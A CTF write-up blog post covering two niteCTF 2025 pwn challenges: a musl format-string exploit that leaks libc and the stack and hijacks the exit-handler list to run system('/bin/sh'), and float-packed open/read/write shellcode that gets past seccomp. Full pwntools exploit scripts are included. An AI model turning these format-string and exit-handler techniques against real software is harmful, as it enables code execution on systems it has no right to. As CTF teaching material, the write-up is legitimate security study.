niteCTF 2025 is a two-day online and jeopardy style competition hosted by Cryptonite.

I was able to solve 5 tasks and 2 of them in the PWN, on one of the PWNs I have managed to blood :)

I was participating with my teammates - FR13NDS TEAM and we took 7-th place at this event, also totally managed to take 4 bloods!

beating_yellow_king_with_musl_in_ng+
IEEE DANCER

1. beating_yellow_king_with_musl_in_ng+

Description

Beat the YellowKing in new game+ mode with your muscles, brawn over brain baby!

Solution

TL;DR:

Bypass validation
Printf vuln, limited size, limited ’%’ usage, musl limits ’$’
Arbitrary Read - leak libc
Arbitrary Write - leak stack with one byte write and pwntools’s ‘no_dollars’ payload
Musl related exit_handlers hijack - RCE

Initial Checks

We have the chall binary and libc.so library files. From the checksec we can see binary is protected with: Full RELRO, Canary enabled, NX enabled and No PIE. Binary is not stripped

And libc is protected with: Full RELRO, Canary enabled, NX enabled, PIE enabled. Libc is also not stripped

Also the libc is actually musl libc, we can verify it by executing the libc.so:

The binary is already linked with libc provided, so we can execute and check what it does:

We can create character and specify the character by index, and also can specify the class for the character, then we can defeat the king. And we can leave the binary.

To understand more precisely lets just open it in Binary Ninja and see what id does under the hood.

Reverse / Vulnerability

Through the Binary Ninja we can see the functionality of the binary:

menu:

make_char:

action:

count_char:

Nothing too complicated:

We can choose from 1 - create character, 2 - do action, 3 - exit
We can create character by index from 0 up to 16, character can have its class we specify for allocated chunk malloc(0x21)
We can also specify character’s name up to 0x20 bytes, for the buf which was allocated earlier by malloc(0x21)
The action function also asks for index of a character, its not validating it for empty
After that it checks some indicator from the last byte of a character and if it pass, then we can leave a message
There is printf vulnerability after we provide the message, but the size is limited to 0x30
And also before it goes to printf, it checks the message via count_char function, which just checks the count of ’%’ in the message, and if it exceeds 0xd, then we dont go to printf

There is just pure printf vulnerability in the action() function which we can now start exploiting, but there is some constraints we should met:

We need to craft valid name of character to bypass the check
Printf message we specify should not exceed 0x30 bytes at once
Also it checks for count of ’%’ in our payload, we also should not exceed 0xd bytes of ’%’ in our payload
And since its musl, there is also musl specific constraints in the printf, the usage of $ is limited in musl, we need to not rely on dollars.

Part 1: Arbitrary Read

To bypass the check we just need to pass the if statement, which just checks if our type in the character is ‘0’, we can overwrite the type by just sending exact 32 byte payload, since after that it will null the 0x20’s byte in our buffer, which is the type we want to be 0

Now we can just create the template for our exploit and start first lines to reach into vulnerable printf and we can leak libc:

1
def make_char(p, index, cls, name):
2
        p.sendlineafter(b'>>', b'1')
3
        p.sendlineafter(b'index:', str(index).encode())
4
        p.sendlineafter(b'>>', str(cls).encode())
5
        p.sendafter(b'>>', name)
6

7
def action(p, index, msg = None):
8
        p.sendlineafter(b'>>', b'2')
9
        p.sendlineafter(b'index:', str(index).encode())
10
        if msg:
11
                p.send(msg)

1
make_char(p, 0, 1, b'A' * 32) # overwrite full buffer, buf[0x20] will be nulled and we reach message in action
2
action(p, 0, b'%p.' * 10) # leak pointers
3
p.recvuntil(b'adventurers')
4
p.recvline()
5

6
leaks = p.recvline().split(b'.')
7
libc_leak = int(leaks[5].decode(), 16)
8
libc.address = libc_leak - (0x70bb83e87280 - 0x70bb83dc9000)
9
print(f"Libc leak: {hex(libc_leak)}")
10
print(f"Libc address: {hex(libc.address)}")

Part 2: Arbitrary Write

Now we can also write data into arbitrary location, since the musl is restricting the $ usage up to some limits, we can no longer behave in that, we can just simply use pwntool’s fmtstr_payload with no_dollars option:

And the size limitations restricts us to write in one write, so we just split our payload into chunks, and send it one by one each iteration of using action:

1
def prepare_64(target, data):
2
        res = []
3
        for i, b in enumerate(data):
4
                writes = {target + i : b}
5
                res.append(writes)
6
        return res
7

8
def arb_write(p, offset, target, data, rel):
9
        res = prepare_64(target, p64(data))[:rel]
10
        for i in res:
11
                payload = fmtstr_payload(offset, i, no_dollars = True)
12
                action(p, 0, payload)

prepare_64 is just crafting for us the needed chunks, and arb_write will send it to the action, also generating the payload using fmtstr_payload with no_dollars option.

Now we also can easily leak stack, i was not able to easily leak the stack from directly printf, i will just overwrite the pointer of the list entry to libc.sym.environ and leak via action which prints it in %s

The offset for overwriting the data via printf is 8

1
target = exe.sym.list + 16
2
offset = 8
3

4
arb_write(p, offset, target - 8, libc.sym.environ, -2)
5
p.sendlineafter(b'>>', b'2')
6
p.sendlineafter(b'index:', b'1')
7
p.recvuntil(b'chose ')
8

9
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
10
print(f"Stack: {hex(stack_leak)}")
11

12
p.sendafter(b'leave', b'a')

Part 3: Musl and Exit handlers

Now the most interesting part appears, in the default glibc there will be a lot more opportunity to reach the code execution, since its musl there are not a lot options here.

We can try to perform ROP chain into stack which was my first idea to come up, but i gave up on that and tried to search something related in musl.

Musl does not have onegadgets and the libc itself is Full RELRO which makes it more pain but not so much.

I came up with reading how the exit_handlers in the musl works and found: atexit.c

This not much going on, basically what we need is that there __funcs_on_exit checks the head and iterates through it, it gets the function pointer in that list and executes func(arg1)

So this we will tak advantage of, we overwrite struct fl (head) to point somewhere we control, and in that pointer we craft fake fl to create the function pointer pointing to system and arg1 to /bin/sh:

1
arb_write(p, offset, target + 8, u64(b'/bin/sh\x00'), -1)
2

3
struct_fl = libc.address + 789896
4
fake_fl = stack_leak + 640
5

6
arb_write(p, offset, struct_fl, fake_fl, -2)
7
arb_write(p, offset, fake_fl, fake_fl, -2)
8
arb_write(p, offset, fake_fl + 0x100, libc.sym.system, -2)
9
arb_write(p, offset, fake_fl + 0x200, target + 8, -5)
10

11
p.sendlineafter(b'>>', b'3')
12
p.sendline(b'cat flag.txt')

I placed my /bin/sh into the known position of my list, then i defined the struct_fl location in the libc, which can be retrieve (if symbols exported) by revealing the head symbol in the gdb.

Then I write the pointer to my fake_fl structure into the libc struct_fl and then crafted needed positions for performing code execution by placing the function pointer to system and argument to the pointer I earlier write the /bin/sh to.

And also we make sure to not corrupt this list and point the list fd to ourself

Now during the exit the __funcs_on_exit will enumerate through our fake head structure and find needed function pointer and argument and execute it giving us a shell.

Then we just read the flag.

Full Exploit Script

1
from pwn import *
2

3
def prepare_64(target, data):
4
        res = []
5
        for i, b in enumerate(data):
6
                writes = {target + i : b}
7
                res.append(writes)
8
        return res
9

10
def arb_write(p, offset, target, data, rel):
11
        res = prepare_64(target, p64(data))[:rel]
12
        for i in res:
13
                payload = fmtstr_payload(offset, i, no_dollars = True)
14
                action(p, 0, payload)
15

16
def make_char(p, index, cls, name):
17
        p.sendlineafter(b'>>', b'1')
18
        p.sendlineafter(b'index:', str(index).encode())
19
        p.sendlineafter(b'>>', str(cls).encode())
20
        p.sendafter(b'>>', name)
21

22
def action(p, index, msg = None):
23
        p.sendlineafter(b'>>', b'2')
24
        p.sendlineafter(b'index:', str(index).encode())
25
        if msg:
26
                p.send(msg)
27

28
exe = ELF('./chall')
29
libc = ELF('./libc.so')
30
context.binary = exe
31
context.terminal = ["tmux", "splitw", "-h"]
32

33
p = remote('yellow.chals.nitectf25.live', 1337, ssl = True)
34
# p = gdb.debug([exe.path], '''continue''')
35

36
make_char(p, 0, 1, b'A' * 32)
37

38
action(p, 0, b'%p.' * 10)
39
p.recvuntil(b'adventurers')
40
p.recvline()
41

42
leaks = p.recvline().split(b'.')
43
libc_leak = int(leaks[5].decode(), 16)
44
libc.address = libc_leak - (0x70bb83e87280 - 0x70bb83dc9000)
45
print(f"Libc leak: {hex(libc_leak)}")
46
print(f"Libc address: {hex(libc.address)}")
47

48
target = exe.sym.list + 16
49
offset = 8
50

51
arb_write(p, offset, target + 8, u64(b'/bin/sh\x00'), -1)
52
arb_write(p, offset, target - 8, libc.sym.environ, -2)
53

54
p.sendlineafter(b'>>', b'2')
55
p.sendlineafter(b'index:', b'1')
56
p.recvuntil(b'chose ')
57

58
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
59
print(f"Stack: {hex(stack_leak)}")
60

61
p.sendafter(b'leave', b'a')
62

63
struct_fl = libc.address + 789896
64
fake_fl = stack_leak + 640
65

66
arb_write(p, offset, struct_fl, fake_fl, -2)
67
arb_write(p, offset, fake_fl, fake_fl, -2)
68
arb_write(p, offset, fake_fl + 0x100, libc.sym.system, -2)
69
arb_write(p, offset, fake_fl + 0x200, target + 8, -5)
70

71
p.sendlineafter(b'>>', b'3')
72
p.sendline(b'cat flag.txt')
73

74
p.interactive()

Key Takeaways

Limited printf is still useful
Musl has pretty fun way to achieve rce via exit handlers :)

References

2. IEEE DANCER

Description

Drain your floats in style with higher precision!

Solution

TL;DR:

Execute any shellcode you write
Write through float packing
Seccomp restrictions - open, read, write shellcode

Initial Checks

As usual we have been provided binary, lets check its protection:

Lets check what it does:

In the first place its asks for number of floats we want, then probably parses the float numbers we provide, after non float input it exits with illegal instruction error. Seems it tries to execute some shellcode, but lets just look at Binary Ninja

Reverse / Vulnerability

After checking the Binary Ninja, we can see what it does:

We insert how much float numbers we want, it checks that not exceeding 0x64, then callocs with the number we provided
We provide the floats in the allocated chunk, then it creates rwx region using mprotect within our chunk
Invokes seccomp restrictions then executes our pointer

There is simple whats going on, we just need to pack the float payload into shellcode and execute it, the only limitations is seccomp which we can verify via seccomp-tools:

And we just need to perform classy open, read, write shellcode and thats it

Shellcode

1
    /* open("./flag", 0, 0) */
2
    lea rdi, [rip + flag_str]
3
    xor esi, esi
4
    xor edx, edx
5
    mov rax, 2
6
    syscall
7

8
    /* read(fd, rsp, 100) */
9
    mov rdi, rax
10
    mov rsi, rsp
11
    mov rdx, 100
12
    xor rax, rax
13
    syscall
14

15
    /* write(1, rsp, rax) */
16
    mov rdx, rax
17
    mov rdi, 1
18
    mov rsi, rsp
19
    mov rax, 1
20
    mov rdx, 100
21
    syscall
22

23
    mov rdi, 0
24
    mov rax, 0xe7 # exit_group
25
    syscall
26

27
flag_str:
28
    .asciz "./flag"

Full Exploit Script

1
from pwn import *
2
import struct
3

4
exe = ELF('./chall_dancer')
5
context.binary = exe
6
context.terminal = ["tmux", "splitw", "-h"]
7

8
shellcode = asm('''
9
    /* open("./flag", 0, 0) */
10
    lea rdi, [rip + flag_str]
11
    xor esi, esi
12
    xor edx, edx
13
    mov rax, 2
14
    syscall
15

16
    /* read(fd, rsp, 100) */
17
    mov rdi, rax
18
    mov rsi, rsp
19
    mov rdx, 100
20
    xor rax, rax
21
    syscall
22

23
    /* write(1, rsp, rax) */
24
    mov rdx, rax
25
    mov rdi, 1
26
    mov rsi, rsp
27
    mov rax, 1
28
    mov rdx, 100
29
    syscall
30

31
    mov rdi, 0
32
    mov rax, 0xe7 # exit_group
33
    syscall
34

35
flag_str:
36
    .asciz "./flag"
37
''')
38

39
while len(shellcode) % 8 != 0:
40
    shellcode += b"\x90"
41

42
floats = []
43
for i in range(0, len(shellcode), 8):
44
    chunk = shellcode[i:i+8]
45
    float_val = struct. unpack('<d', chunk)[0]
46
    floats.append(float_val)
47

48
# p = gdb.debug([exe.path], '''continue''')
49
p = remote('dancer.chals.nitectf25.live', 1337, ssl = True)
50

51
p.sendlineafter(b'!', str(len(floats)).encode())
52

53
for f in floats:
54
        p.sendline(repr(f).encode())
55

56
p.interactive()

Key Takeaways

Float packing to write payload
Classic open read write shellcode

References

Syscall Table

Aftermath

During the ctf I was not able to solve Virtual Rift and Nitebus challenges, first was to get leverage of OOB in the custom VM then you can either do arbitrary free or use that OOB to write and exploit heap via tcache poison and perform FSOP. Second was an arm rop challenge

niteCTF 2025 PWN Writeups

Table of contents

1. beating_yellow_king_with_musl_in_ng+

Description

Solution

Initial Checks

Reverse / Vulnerability

Part 1: Arbitrary Read

Part 2: Arbitrary Write

Part 3: Musl and Exit handlers

Full Exploit Script

Key Takeaways

References

2. IEEE DANCER

Description

Solution

Initial Checks

Reverse / Vulnerability

Shellcode

Full Exploit Script

Key Takeaways

References

Aftermath